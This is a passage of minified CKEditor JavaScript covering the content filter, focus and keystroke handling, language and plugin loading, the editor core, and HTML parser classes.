a=[],d=G[d||(this.editor?this.editor.enterMode:CKEDITOR.ENTER_P)],q;c=f.pop();)c.type==CKEDITOR.NODE_ELEMENT?l(c,d,a):c.remove();for(;n=a.pop();){c=n.el;if(c.parent){q=L[c.parent.name]||L.span;switch(n.check){case "it":L.$removeEmpty[c.name]&&!c.children.length?l(c,d,a):i(c)||l(c,d,a);break;case "el-up":c.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT&&!q[c.name]&&l(c,d,a);break;case "parent-down":c.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT&&!q[c.name]&&l(c.parent,d,a)}}}return x},checkFeature:function(a){if(this.disabled||
!a)return true;a.toFeature&&(a=a.toFeature(this.editor));return!a.requiredContent||this.check(a.requiredContent)},disable:function(){this.disabled=true},disallow:function(b){if(!d(this,b,true))return false;typeof b=="string"&&(b=m(b));a(this,b,null,this.disallowedContent,this._.disallowedRules);return true},addContentForms:function(a){if(!this.disabled&&a){var b,c,d=[],e;for(b=0;b<a.length&&!e;++b){c=a[b];if((typeof c=="string"||c instanceof CKEDITOR.style)&&this.check(c))e=c}if(e){for(b=0;b<a.length;++b)d.push(n(a[b],
e));this.addTransformations(d)}}},addElementCallback:function(a){if(!this.elementCallbacks)this.elementCallbacks=[];this.elementCallbacks.push(a)},addFeature:function(a){if(this.disabled||!a)return true;a.toFeature&&(a=a.toFeature(this.editor));this.allow(a.allowedContent,a.name);this.addTransformations(a.contentTransformations);this.addContentForms(a.contentForms);return a.requiredContent&&(this.customConfig||this.disallowedContent.length)?this.check(a.requiredContent):true},addTransformations:function(a){var b,
c;if(!this.disabled&&a){var d=this._.transformations,e;for(e=0;e<a.length;++e){b=a[e];var f=void 0,p=void 0,i=void 0,l=void 0,r=void 0,x=void 0;c=[];for(p=0;p<b.length;++p){i=b[p];if(typeof i=="string"){i=i.split(/\s*:\s*/);l=i[0];r=null;x=i[1]}else{l=i.check;r=i.left;x=i.right}if(!f){f=i;f=f.element?f.element:l?l.match(/^([a-z0-9]+)/i)[0]:f.left.getDefinition().element}r instanceof CKEDITOR.style&&(r=P(r));c.push({check:l==f?null:l,left:r,right:typeof x=="string"?C(x):x})}b=f;d[b]||(d[b]=[]);d[b].push(c)}}},
check:function(a,b,c){if(this.disabled)return true;if(CKEDITOR.tools.isArray(a)){for(var d=a.length;d--;)if(this.check(a[d],b,c))return true;return false}var e,f;if(typeof a=="string"){f=a+"<"+(b===false?"0":"1")+(c?"1":"0")+">";if(f in this._.cachedChecks)return this._.cachedChecks[f];d=m(a).$1;e=d.styles;var i=d.classes;d.name=d.elements;d.classes=i=i?i.split(/\s*,\s*/):[];d.styles=g(e);d.attributes=g(d.attributes);d.children=[];i.length&&(d.attributes["class"]=i.join(" "));if(e)d.attributes.style=
CKEDITOR.tools.writeCssText(d.styles);e=d}else{d=a.getDefinition();e=d.styles;i=d.attributes||{};if(e){e=K(e);i.style=CKEDITOR.tools.writeCssText(e,true)}else e={};e={name:d.element,attributes:i,classes:i["class"]?i["class"].split(/\s+/):[],styles:e,children:[]}}var i=CKEDITOR.tools.clone(e),l=[],r;if(b!==false&&(r=this._.transformations[e.name])){for(d=0;d<r.length;++d)p(this,e,r[d]);t(e)}w(this,i,l,{doFilter:true,doTransform:b!==false,skipRequired:!c,skipFinalValidation:!c});b=l.length>0?false:
CKEDITOR.tools.objectCompare(e.attributes,i.attributes,true)?true:false;typeof a=="string"&&(this._.cachedChecks[f]=b);return b},getAllowedEnterMode:function(){var a=["p","div","br"],b={p:CKEDITOR.ENTER_P,div:CKEDITOR.ENTER_DIV,br:CKEDITOR.ENTER_BR};return function(c,d){var e=a.slice(),f;if(this.check(G[c]))return c;for(d||(e=e.reverse());f=e.pop();)if(this.check(f))return b[f];return CKEDITOR.ENTER_BR}}(),destroy:function(){delete CKEDITOR.filter.instances[this.id];delete this._;delete this.allowedContent;
delete this.disallowedContent}};var z={styles:1,attributes:1,classes:1},B={styles:"requiredStyles",attributes:"requiredAttributes",classes:"requiredClasses"},x=/^([a-z0-9\-*\s]+)((?:\s*\{[!\w\-,\s\*]+\}\s*|\s*\[[!\w\-,\s\*]+\]\s*|\s*\([!\w\-,\s\*]+\)\s*){0,3})(?:;\s*|$)/i,E={styles:/{([^}]+)}/,attrs:/\[([^\]]+)\]/,classes:/\(([^\)]+)\)/},$=/^cke:(object|embed|param)$/,aa=/^(object|embed|param)$/,ba=CKEDITOR.filter.transformationsTools={sizeToStyle:function(a){this.lengthToStyle(a,"width");this.lengthToStyle(a,
"height")},sizeToAttribute:function(a){this.lengthToAttribute(a,"width");this.lengthToAttribute(a,"height")},lengthToStyle:function(a,b,c){c=c||b;if(!(c in a.styles)){var d=a.attributes[b];if(d){/^\d+$/.test(d)&&(d=d+"px");a.styles[c]=d}}delete a.attributes[b]},lengthToAttribute:function(a,b,c){c=c||b;if(!(c in a.attributes)){var d=a.styles[b],e=d&&d.match(/^(\d+)(?:\.\d*)?px$/);e?a.attributes[c]=e[1]:d==v&&(a.attributes[c]=v)}delete a.styles[b]},alignmentToStyle:function(a){if(!("float"in a.styles)){var b=
a.attributes.align;if(b=="left"||b=="right")a.styles["float"]=b}delete a.attributes.align},alignmentToAttribute:function(a){if(!("align"in a.attributes)){var b=a.styles["float"];if(b=="left"||b=="right")a.attributes.align=b}delete a.styles["float"]},matchesStyle:r,transform:function(a,b){if(typeof b=="string")a.name=b;else{var c=b.getDefinition(),d=c.styles,e=c.attributes,f,i,p,l;a.name=c.element;for(f in e)if(f=="class"){c=a.classes.join("|");for(p=e[f].split(/\s+/);l=p.pop();)c.indexOf(l)==-1&&
a.classes.push(l)}else a.attributes[f]=e[f];for(i in d)a.styles[i]=d[i]}}}})();
(function(){CKEDITOR.focusManager=function(a){if(a.focusManager)return a.focusManager;this.hasFocus=false;this.currentActive=null;this._={editor:a};return this};CKEDITOR.focusManager._={blurDelay:200};CKEDITOR.focusManager.prototype={focus:function(a){this._.timer&&clearTimeout(this._.timer);if(a)this.currentActive=a;if(!this.hasFocus&&!this._.locked){(a=CKEDITOR.currentInstance)&&a.focusManager.blur(1);this.hasFocus=true;(a=this._.editor.container)&&a.addClass("cke_focus");this._.editor.fire("focus")}},
lock:function(){this._.locked=1},unlock:function(){delete this._.locked},blur:function(a){function f(){if(this.hasFocus){this.hasFocus=false;var a=this._.editor.container;a&&a.removeClass("cke_focus");this._.editor.fire("blur")}}if(!this._.locked){this._.timer&&clearTimeout(this._.timer);var b=CKEDITOR.focusManager._.blurDelay;a||!b?f.call(this):this._.timer=CKEDITOR.tools.setTimeout(function(){delete this._.timer;f.call(this)},b,this)}},add:function(a,f){var b=a.getCustomData("focusmanager");if(!b||
b!=this){b&&b.remove(a);var b="focus",c="blur";if(f)if(CKEDITOR.env.ie){b="focusin";c="focusout"}else CKEDITOR.event.useCapture=1;var e={blur:function(){a.equals(this.currentActive)&&this.blur()},focus:function(){this.focus(a)}};a.on(b,e.focus,this);a.on(c,e.blur,this);if(f)CKEDITOR.event.useCapture=0;a.setCustomData("focusmanager",this);a.setCustomData("focusmanager_handlers",e)}},remove:function(a){a.removeCustomData("focusmanager");var f=a.removeCustomData("focusmanager_handlers");a.removeListener("blur",
f.blur);a.removeListener("focus",f.focus)}}})();CKEDITOR.keystrokeHandler=function(a){if(a.keystrokeHandler)return a.keystrokeHandler;this.keystrokes={};this.blockedKeystrokes={};this._={editor:a};return this};
(function(){var a,f=function(b){var b=b.data,e=b.getKeystroke(),d=this.keystrokes[e],f=this._.editor;a=f.fire("key",{keyCode:e,domEvent:b})===false;if(!a){d&&(a=f.execCommand(d,{from:"keystrokeHandler"})!==false);a||(a=!!this.blockedKeystrokes[e])}a&&b.preventDefault(true);return!a},b=function(b){if(a){a=false;b.data.preventDefault(true)}};CKEDITOR.keystrokeHandler.prototype={attach:function(a){a.on("keydown",f,this);if(CKEDITOR.env.gecko&&CKEDITOR.env.mac)a.on("keypress",b,this)}}})();
(function(){CKEDITOR.lang={languages:{af:1,ar:1,bg:1,bn:1,bs:1,ca:1,cs:1,cy:1,da:1,de:1,el:1,"en-au":1,"en-ca":1,"en-gb":1,en:1,eo:1,es:1,et:1,eu:1,fa:1,fi:1,fo:1,"fr-ca":1,fr:1,gl:1,gu:1,he:1,hi:1,hr:1,hu:1,id:1,is:1,it:1,ja:1,ka:1,km:1,ko:1,ku:1,lt:1,lv:1,mk:1,mn:1,ms:1,nb:1,nl:1,no:1,pl:1,"pt-br":1,pt:1,ro:1,ru:1,si:1,sk:1,sl:1,sq:1,"sr-latn":1,sr:1,sv:1,th:1,tr:1,tt:1,ug:1,uk:1,vi:1,"zh-cn":1,zh:1},rtl:{ar:1,fa:1,he:1,ku:1,ug:1},load:function(a,f,b){if(!a||!CKEDITOR.lang.languages[a])a=this.detect(f,
a);var c=this,f=function(){c[a].dir=c.rtl[a]?"rtl":"ltr";b(a,c[a])};this[a]?f():CKEDITOR.scriptLoader.load(CKEDITOR.getUrl("lang/"+a+".js"),f,this)},detect:function(a,f){var b=this.languages,f=f||navigator.userLanguage||navigator.language||a,c=f.toLowerCase().match(/([a-z]+)(?:-([a-z]+))?/),e=c[1],c=c[2];b[e+"-"+c]?e=e+"-"+c:b[e]||(e=null);CKEDITOR.lang.detect=e?function(){return e}:function(a){return a};return e||a}}})();
CKEDITOR.scriptLoader=function(){var a={},f={};return{load:function(b,c,e,d){var h=typeof b=="string";h&&(b=[b]);e||(e=CKEDITOR);var k=b.length,j=[],g=[],m=function(a){c&&(h?c.call(e,a):c.call(e,j,g))};if(k===0)m(true);else{var y=function(a,b){(b?j:g).push(a);if(--k<=0){d&&CKEDITOR.document.getDocumentElement().removeStyle("cursor");m(b)}},s=function(b,c){a[b]=1;var d=f[b];delete f[b];for(var e=0;e<d.length;e++)d[e](b,c)},w=function(b){if(a[b])y(b,true);else{var d=f[b]||(f[b]=[]);d.push(y);if(!(d.length>
1)){var e=new CKEDITOR.dom.element("script");e.setAttributes({type:"text/javascript",src:b});if(c)if(CKEDITOR.env.ie&&CKEDITOR.env.version<11)e.$.onreadystatechange=function(){if(e.$.readyState=="loaded"||e.$.readyState=="complete"){e.$.onreadystatechange=null;s(b,true)}};else{e.$.onload=function(){setTimeout(function(){s(b,true)},0)};e.$.onerror=function(){s(b,false)}}e.appendTo(CKEDITOR.document.getHead())}}};d&&CKEDITOR.document.getDocumentElement().setStyle("cursor","wait");for(var q=0;q<k;q++)w(b[q])}},
queue:function(){function a(){var b;(b=c[0])&&this.load(b.scriptUrl,b.callback,CKEDITOR,0)}var c=[];return function(e,d){var f=this;c.push({scriptUrl:e,callback:function(){d&&d.apply(this,arguments);c.shift();a.call(f)}});c.length==1&&a.call(this)}}()}}();CKEDITOR.resourceManager=function(a,f){this.basePath=a;this.fileName=f;this.registered={};this.loaded={};this.externals={};this._={waitingList:{}}};
CKEDITOR.resourceManager.prototype={add:function(a,f){if(this.registered[a])throw'[CKEDITOR.resourceManager.add] The resource name "'+a+'" is already registered.';var b=this.registered[a]=f||{};b.name=a;b.path=this.getPath(a);CKEDITOR.fire(a+CKEDITOR.tools.capitalize(this.fileName)+"Ready",b);return this.get(a)},get:function(a){return this.registered[a]||null},getPath:function(a){var f=this.externals[a];return CKEDITOR.getUrl(f&&f.dir||this.basePath+a+"/")},getFilePath:function(a){var f=this.externals[a];
return CKEDITOR.getUrl(this.getPath(a)+(f?f.file:this.fileName+".js"))},addExternal:function(a,f,b){for(var a=a.split(","),c=0;c<a.length;c++){var e=a[c];b||(f=f.replace(/[^\/]+$/,function(a){b=a;return""}));this.externals[e]={dir:f,file:b||this.fileName+".js"}}},load:function(a,f,b){CKEDITOR.tools.isArray(a)||(a=a?[a]:[]);for(var c=this.loaded,e=this.registered,d=[],h={},k={},j=0;j<a.length;j++){var g=a[j];if(g)if(!c[g]&&!e[g]){var m=this.getFilePath(g);d.push(m);m in h||(h[m]=[]);h[m].push(g)}else k[g]=
this.get(g)}CKEDITOR.scriptLoader.load(d,function(a,d){if(d.length)throw'[CKEDITOR.resourceManager.load] Resource name "'+h[d[0]].join(",")+'" was not found at "'+d[0]+'".';for(var e=0;e<a.length;e++)for(var q=h[a[e]],g=0;g<q.length;g++){var i=q[g];k[i]=this.get(i);c[i]=1}f.call(b,k)},this)}};CKEDITOR.plugins=new CKEDITOR.resourceManager("plugins/","plugin");
CKEDITOR.plugins.load=CKEDITOR.tools.override(CKEDITOR.plugins.load,function(a){var f={};return function(b,c,e){var d={},h=function(b){a.call(this,b,function(a){CKEDITOR.tools.extend(d,a);var b=[],m;for(m in a){var k=a[m],s=k&&k.requires;if(!f[m]){if(k.icons)for(var w=k.icons.split(","),q=w.length;q--;)CKEDITOR.skin.addIcon(w[q],k.path+"icons/"+(CKEDITOR.env.hidpi&&k.hidpi?"hidpi/":"")+w[q]+".png");f[m]=1}if(s){s.split&&(s=s.split(","));for(k=0;k<s.length;k++)d[s[k]]||b.push(s[k])}}if(b.length)h.call(this,
b);else{for(m in d){k=d[m];if(k.onLoad&&!k.onLoad._called){k.onLoad()===false&&delete d[m];k.onLoad._called=1}}c&&c.call(e||window,d)}},this)};h.call(this,b)}});CKEDITOR.plugins.setLang=function(a,f,b){var c=this.get(a),a=c.langEntries||(c.langEntries={}),c=c.lang||(c.lang=[]);c.split&&(c=c.split(","));CKEDITOR.tools.indexOf(c,f)==-1&&c.push(f);a[f]=b};CKEDITOR.ui=function(a){if(a.ui)return a.ui;this.items={};this.instances={};this.editor=a;this._={handlers:{}};return this};
CKEDITOR.ui.prototype={add:function(a,f,b){b.name=a.toLowerCase();var c=this.items[a]={type:f,command:b.command||null,args:Array.prototype.slice.call(arguments,2)};CKEDITOR.tools.extend(c,b)},get:function(a){return this.instances[a]},create:function(a){var f=this.items[a],b=f&&this._.handlers[f.type],c=f&&f.command&&this.editor.getCommand(f.command),b=b&&b.create.apply(this,f.args);this.instances[a]=b;c&&c.uiItems.push(b);if(b&&!b.type)b.type=f.type;return b},addHandler:function(a,f){this._.handlers[a]=
f},space:function(a){return CKEDITOR.document.getById(this.spaceId(a))},spaceId:function(a){return this.editor.id+"_"+a}};CKEDITOR.event.implementOn(CKEDITOR.ui);
(function(){function a(a,c,d){CKEDITOR.event.call(this);a=a&&CKEDITOR.tools.clone(a);if(c!==void 0){if(c instanceof CKEDITOR.dom.element){if(!d)throw Error("One of the element modes must be specified.");}else throw Error("Expect element of type CKEDITOR.dom.element.");if(CKEDITOR.env.ie&&CKEDITOR.env.quirks&&d==CKEDITOR.ELEMENT_MODE_INLINE)throw Error("Inline element mode is not supported on IE quirks.");if(!(d==CKEDITOR.ELEMENT_MODE_INLINE?c.is(CKEDITOR.dtd.$editable)||c.is("textarea"):d==CKEDITOR.ELEMENT_MODE_REPLACE?
!c.is(CKEDITOR.dtd.$nonBodyContent):1))throw Error('The specified element mode is not supported on element: "'+c.getName()+'".');this.element=c;this.elementMode=d;this.name=this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO&&(c.getId()||c.getNameAtt())}else this.elementMode=CKEDITOR.ELEMENT_MODE_NONE;this._={};this.commands={};this.templates={};this.name=this.name||f();this.id=CKEDITOR.tools.getNextId();this.status="unloaded";this.config=CKEDITOR.tools.prototypedCopy(CKEDITOR.config);this.ui=new CKEDITOR.ui(this);
this.focusManager=new CKEDITOR.focusManager(this);this.keystrokeHandler=new CKEDITOR.keystrokeHandler(this);this.on("readOnly",b);this.on("selectionChange",function(a){e(this,a.data.path)});this.on("activeFilterChange",function(){e(this,this.elementPath(),true)});this.on("mode",b);this.on("instanceReady",function(){this.config.startupFocus&&this.focus()});CKEDITOR.fire("instanceCreated",null,this);CKEDITOR.add(this);CKEDITOR.tools.setTimeout(function(){h(this,a)},0,this)}function f(){do var a="editor"+
++s;while(CKEDITOR.instances[a]);return a}function b(){var a=this.commands,b;for(b in a)c(this,a[b])}function c(a,b){b[b.startDisabled?"disable":a.readOnly&&!b.readOnly?"disable":b.modes[a.mode]?"enable":"disable"]()}function e(a,b,c){if(b){var d,e,f=a.commands;for(e in f){d=f[e];(c||d.contextSensitive)&&d.refresh(a,b)}}}function d(a){var b=a.config.customConfig;if(!b)return false;var b=CKEDITOR.getUrl(b),c=w[b]||(w[b]={});if(c.fn){c.fn.call(a,a.config);(CKEDITOR.getUrl(a.config.customConfig)==b||
!d(a))&&a.fireOnce("customConfigLoaded")}else CKEDITOR.scriptLoader.queue(b,function(){c.fn=CKEDITOR.editorConfig?CKEDITOR.editorConfig:function(){};d(a)});return true}function h(a,b){a.on("customConfigLoaded",function(){if(b){if(b.on)for(var c in b.on)a.on(c,b.on[c]);CKEDITOR.tools.extend(a.config,b,true);delete a.config.on}c=a.config;a.readOnly=!(!c.readOnly&&!(a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.is("textarea")?a.element.hasAttribute("disabled"):a.element.isReadOnly():a.elementMode==
CKEDITOR.ELEMENT_MODE_REPLACE&&a.element.hasAttribute("disabled")));a.blockless=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?!(a.element.is("textarea")||CKEDITOR.dtd[a.element.getName()].p):false;a.tabIndex=c.tabIndex||a.element&&a.element.getAttribute("tabindex")||0;a.activeEnterMode=a.enterMode=a.blockless?CKEDITOR.ENTER_BR:c.enterMode;a.activeShiftEnterMode=a.shiftEnterMode=a.blockless?CKEDITOR.ENTER_BR:c.shiftEnterMode;if(c.skin)CKEDITOR.skinName=c.skin;a.fireOnce("configLoaded");a.dataProcessor=
new CKEDITOR.htmlDataProcessor(a);a.filter=a.activeFilter=new CKEDITOR.filter(a);k(a)});if(b&&b.customConfig!=null)a.config.customConfig=b.customConfig;d(a)||a.fireOnce("customConfigLoaded")}function k(a){CKEDITOR.skin.loadPart("editor",function(){j(a)})}function j(a){CKEDITOR.lang.load(a.config.language,a.config.defaultLanguage,function(b,c){var d=a.config.title;a.langCode=b;a.lang=CKEDITOR.tools.prototypedCopy(c);a.title=typeof d=="string"||d===false?d:[a.lang.editor,a.name].join(", ");if(!a.config.contentsLangDirection)a.config.contentsLangDirection=
a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.getDirection(1):a.lang.dir;a.fire("langLoaded");g(a)})}function g(a){a.getStylesSet(function(b){a.once("loaded",function(){a.fire("stylesSet",{styles:b})},null,null,1);m(a)})}function m(a){var b=a.config,c=b.plugins,d=b.extraPlugins,e=b.removePlugins;if(d)var f=RegExp("(?:^|,)(?:"+d.replace(/\s*,\s*/g,"|")+")(?=,|$)","g"),c=c.replace(f,""),c=c+(","+d);if(e)var l=RegExp("(?:^|,)(?:"+e.replace(/\s*,\s*/g,"|")+")(?=,|$)","g"),c=c.replace(l,"");CKEDITOR.env.air&&
(c=c+",adobeair");CKEDITOR.plugins.load(c.split(","),function(c){var d=[],e=[],f=[];a.plugins=c;for(var i in c){var h=c[i],g=h.lang,o=null,A=h.requires,v;CKEDITOR.tools.isArray(A)&&(A=A.join(","));if(A&&(v=A.match(l)))for(;A=v.pop();)CKEDITOR.tools.setTimeout(function(a,b){throw Error('Plugin "'+a.replace(",","")+'" cannot be removed from the plugins list, because it\'s required by "'+b+'" plugin.');},0,null,[A,i]);if(g&&!a.lang[i]){g.split&&(g=g.split(","));if(CKEDITOR.tools.indexOf(g,a.langCode)>=
0)o=a.langCode;else{o=a.langCode.replace(/-.*/,"");o=o!=a.langCode&&CKEDITOR.tools.indexOf(g,o)>=0?o:CKEDITOR.tools.indexOf(g,"en")>=0?"en":g[0]}if(!h.langEntries||!h.langEntries[o])f.push(CKEDITOR.getUrl(h.path+"lang/"+o+".js"));else{a.lang[i]=h.langEntries[o];o=null}}e.push(o);d.push(h)}CKEDITOR.scriptLoader.load(f,function(){for(var c=["beforeInit","init","afterInit"],f=0;f<c.length;f++)for(var p=0;p<d.length;p++){var i=d[p];f===0&&(e[p]&&i.lang&&i.langEntries)&&(a.lang[i.name]=i.langEntries[e[p]]);
if(i[c[f]])i[c[f]](a)}a.fireOnce("pluginsLoaded");b.keystrokes&&a.setKeystroke(a.config.keystrokes);for(p=0;p<a.config.blockedKeystrokes.length;p++)a.keystrokeHandler.blockedKeystrokes[a.config.blockedKeystrokes[p]]=1;a.status="loaded";a.fireOnce("loaded");CKEDITOR.fire("instanceLoaded",null,a)})})}function y(){var a=this.element;if(a&&this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO){var b=this.getData();this.config.htmlEncodeOutput&&(b=CKEDITOR.tools.htmlEncode(b));a.is("textarea")?a.setValue(b):
a.setHtml(b);return true}return false}a.prototype=CKEDITOR.editor.prototype;CKEDITOR.editor=a;var s=0,w={};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{addCommand:function(a,b){b.name=a.toLowerCase();var d=new CKEDITOR.command(this,b);this.mode&&c(this,d);return this.commands[a]=d},_attachToForm:function(){function a(d){b.updateElement();b._.required&&(!c.getValue()&&b.fire("required")===false)&&d.data.preventDefault()}var b=this,c=b.element,d=new CKEDITOR.dom.element(c.$.form);if(c.is("textarea")&&
d){d.on("submit",a);if(d.$.submit&&d.$.submit.call&&d.$.submit.apply)d.$.submit=CKEDITOR.tools.override(d.$.submit,function(b){return function(){a();b.apply?b.apply(this):b()}});b.on("destroy",function(){d.removeListener("submit",a)})}},destroy:function(a){this.fire("beforeDestroy");!a&&y.call(this);this.editable(null);this.filter.destroy();delete this.filter;delete this.activeFilter;this.status="destroyed";this.fire("destroy");this.removeAllListeners();CKEDITOR.remove(this);CKEDITOR.fire("instanceDestroyed",
null,this)},elementPath:function(a){if(!a){a=this.getSelection();if(!a)return null;a=a.getStartElement()}return a?new CKEDITOR.dom.elementPath(a,this.editable()):null},createRange:function(){var a=this.editable();return a?new CKEDITOR.dom.range(a):null},execCommand:function(a,b){var c=this.getCommand(a),d={name:a,commandData:b,command:c};if(c&&c.state!=CKEDITOR.TRISTATE_DISABLED&&this.fire("beforeCommandExec",d)!==false){d.returnValue=c.exec(d.commandData);if(!c.async&&this.fire("afterCommandExec",
d)!==false)return d.returnValue}return false},getCommand:function(a){return this.commands[a]},getData:function(a){!a&&this.fire("beforeGetData");var b=this._.data;if(typeof b!="string")b=(b=this.element)&&this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?b.is("textarea")?b.getValue():b.getHtml():"";b={dataValue:b};!a&&this.fire("getData",b);return b.dataValue},getSnapshot:function(){var a=this.fire("getSnapshot");if(typeof a!="string"){var b=this.element;b&&this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE&&
(a=b.is("textarea")?b.getValue():b.getHtml())}return a},loadSnapshot:function(a){this.fire("loadSnapshot",a)},setData:function(a,b,c){var d=true,e=b;if(b&&typeof b=="object"){c=b.internal;e=b.callback;d=!b.noSnapshot}!c&&d&&this.fire("saveSnapshot");if(e||!c)this.once("dataReady",function(a){!c&&d&&this.fire("saveSnapshot");e&&e.call(a.editor)});a={dataValue:a};!c&&this.fire("setData",a);this._.data=a.dataValue;!c&&this.fire("afterSetData",a)},setReadOnly:function(a){a=a==null||a;if(this.readOnly!=
a){this.readOnly=a;this.keystrokeHandler.blockedKeystrokes[8]=+a;this.editable().setReadOnly(a);this.fire("readOnly")}},insertHtml:function(a,b){this.fire("insertHtml",{dataValue:a,mode:b})},insertText:function(a){this.fire("insertText",a)},insertElement:function(a){this.fire("insertElement",a)},focus:function(){this.fire("beforeFocus")},checkDirty:function(){return this.status=="ready"&&this._.previousValue!==this.getSnapshot()},resetDirty:function(){this._.previousValue=this.getSnapshot()},updateElement:function(){return y.call(this)},
setKeystroke:function(){for(var a=this.keystrokeHandler.keystrokes,b=CKEDITOR.tools.isArray(arguments[0])?arguments[0]:[[].slice.call(arguments,0)],c,d,e=b.length;e--;){c=b[e];d=0;if(CKEDITOR.tools.isArray(c)){d=c[1];c=c[0]}d?a[c]=d:delete a[c]}},addFeature:function(a){return this.filter.addFeature(a)},setActiveFilter:function(a){if(!a)a=this.filter;if(this.activeFilter!==a){this.activeFilter=a;this.fire("activeFilterChange");a===this.filter?this.setActiveEnterMode(null,null):this.setActiveEnterMode(a.getAllowedEnterMode(this.enterMode),
a.getAllowedEnterMode(this.shiftEnterMode,true))}},setActiveEnterMode:function(a,b){a=a?this.blockless?CKEDITOR.ENTER_BR:a:this.enterMode;b=b?this.blockless?CKEDITOR.ENTER_BR:b:this.shiftEnterMode;if(this.activeEnterMode!=a||this.activeShiftEnterMode!=b){this.activeEnterMode=a;this.activeShiftEnterMode=b;this.fire("activeEnterModeChange")}}})})();CKEDITOR.ELEMENT_MODE_NONE=0;CKEDITOR.ELEMENT_MODE_REPLACE=1;CKEDITOR.ELEMENT_MODE_APPENDTO=2;CKEDITOR.ELEMENT_MODE_INLINE=3;
CKEDITOR.htmlParser=function(){this._={htmlPartsRegex:/<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)--\>)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/g}};
(function(){var a=/([\w\-:.]+)(?:(?:\s*=\s*(?:(?:"([^"]*)")|(?:'([^']*)')|([^\s>]+)))|(?=\s|$))/g,f={checked:1,compact:1,declare:1,defer:1,disabled:1,ismap:1,multiple:1,nohref:1,noresize:1,noshade:1,nowrap:1,readonly:1,selected:1};CKEDITOR.htmlParser.prototype={onTagOpen:function(){},onTagClose:function(){},onText:function(){},onCDATA:function(){},onComment:function(){},parse:function(b){for(var c,e,d=0,h;c=this._.htmlPartsRegex.exec(b);){e=c.index;if(e>d){d=b.substring(d,e);if(h)h.push(d);else this.onText(d)}d=
this._.htmlPartsRegex.lastIndex;if(e=c[1]){e=e.toLowerCase();if(h&&CKEDITOR.dtd.$cdata[e]){this.onCDATA(h.join(""));h=null}if(!h){this.onTagClose(e);continue}}if(h)h.push(c[0]);else if(e=c[3]){e=e.toLowerCase();if(!/="/.test(e)){var k={},j,g=c[4];c=!!c[5];if(g)for(;j=a.exec(g);){var m=j[1].toLowerCase();j=j[2]||j[3]||j[4]||"";k[m]=!j&&f[m]?m:CKEDITOR.tools.htmlDecodeAttr(j)}this.onTagOpen(e,k,c);!h&&CKEDITOR.dtd.$cdata[e]&&(h=[])}}else if(e=c[2])this.onComment(e)}if(b.length>d)this.onText(b.substring(d,
b.length))}}})();
CKEDITOR.htmlParser.basicWriter=CKEDITOR.tools.createClass({$:function(){this._={output:[]}},proto:{openTag:function(a){this._.output.push("<",a)},openTagClose:function(a,f){f?this._.output.push(" />"):this._.output.push(">")},attribute:function(a,f){typeof f=="string"&&(f=CKEDITOR.tools.htmlEncodeAttr(f));this._.output.push(" ",a,'="',f,'"')},closeTag:function(a){this._.output.push("</",a,">")},text:function(a){this._.output.push(a)},comment:function(a){this._.output.push("<\!--",a,"--\>")},write:function(a){this._.output.push(a)},
reset:function(){this._.output=[];this._.indent=false},getHtml:function(a){var f=this._.output.join("");a&&this.reset();return f}}});"use strict";
(function(){CKEDITOR.htmlParser.node=function(){};CKEDITOR.htmlParser.node.prototype={remove:function(){var a=this.parent.children,f=CKEDITOR.tools.indexOf(a,this),b=this.previous,c=this.next;b&&(b.next=c);c&&(c.previous=b);a.splice(f,1);this.parent=null},replaceWith:function(a){var f=this.parent.children,b=CKEDITOR.tools.indexOf(f,this),c=a.previous=this.previous,e=a.next=this.next;c&&(c.next=a);e&&(e.previous=a);f[b]=a;a.parent=this.parent;this.parent=null},insertAfter:function(a){var f=a.parent.children,
b=CKEDITOR.tools.indexOf(f,a),c=a.next;f.splice(b+1,0,this);this.next=a.next;this.previous=a;a.next=this;c&&(c.previous=this);this.parent=a.parent},insertBefore:function(a){var f=a.parent.children,b=CKEDITOR.tools.indexOf(f,a);f.splice(b,0,this);this.next=a;(this.previous=a.previous)&&(a.previous.next=this);a.previous=this;this.parent=a.parent},getAscendant:function(a){var f=typeof a=="function"?a:typeof a=="string"?function(b){return b.name==a}:function(b){return b.name in a},b=this.parent;for(;b&&
b.type==CKEDITOR.NODE_ELEMENT;){if(f(b))return b;b=b.parent}return null},wrapWith:function(a){this.replaceWith(a);a.add(this);return a},getIndex:function(){return CKEDITOR.tools.indexOf(this.parent.children,this)},getFilterContext:function(a){return a||{}}}})();"use strict";CKEDITOR.htmlParser.comment=function(a){this.value=a;this._={isBlockLike:false}};
CKEDITOR.htmlParser.comment.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_COMMENT,filter:function(a,f){var b=this.value;if(!(b=a.onComment(f,b,this))){this.remove();return false}if(typeof b!="string"){this.replaceWith(b);return false}this.value=b;return true},writeHtml:function(a,f){f&&this.filter(f);a.comment(this.value)}});"use strict";
(function(){CKEDITOR.htmlParser.text=function(a){this.value=a;this._={isBlockLike:false}};CKEDITOR.htmlParser.text.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(a,f){if(!(this.value=a.onText(f,this.value,this))){this.remove();return false}},writeHtml:function(a,f){f&&this.filter(f);a.text(this.value)}})})();"use strict";
(function(){CKEDITOR.htmlParser.cdata=function(a){this.value=a};CKEDITOR.htmlParser.cdata.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(){},writeHtml:function(a){a.write(this.value)}})})();"use strict";CKEDITOR.htmlParser.fragment=function(){this.children=[];this.parent=null;this._={isBlockLike:true,hasInlineStarted:false}};
